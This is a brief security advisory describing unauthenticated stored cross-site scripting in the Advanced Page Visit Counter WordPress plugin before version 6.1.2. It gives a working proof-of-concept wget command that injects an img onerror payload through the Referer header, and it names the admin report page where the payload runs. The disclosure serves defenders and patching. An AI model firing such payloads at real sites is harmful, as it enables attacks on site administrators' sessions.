Advanced Page Visit Counter < 6.1.2 - Unauthenticated Stored Cross-Site Scripting

Description

The plugin does not sanitise and escape some input before outputting it in an admin dashboard page, allowing unauthenticated attackers to perform Cross-Site Scripting attacks against admins viewing it

Proof of Concept

As unauthenticated: wget "https://example.com/?p=1" --header "Referer: <img src onerror=alert(/XSS/)>" -O-



The XSS will be triggered when an admin access the detailed report of the related article: e.g https://example.com/wp-admin/admin.php?page=apvc-dashboard-page&apvc_page=detailed-reports&article_id=1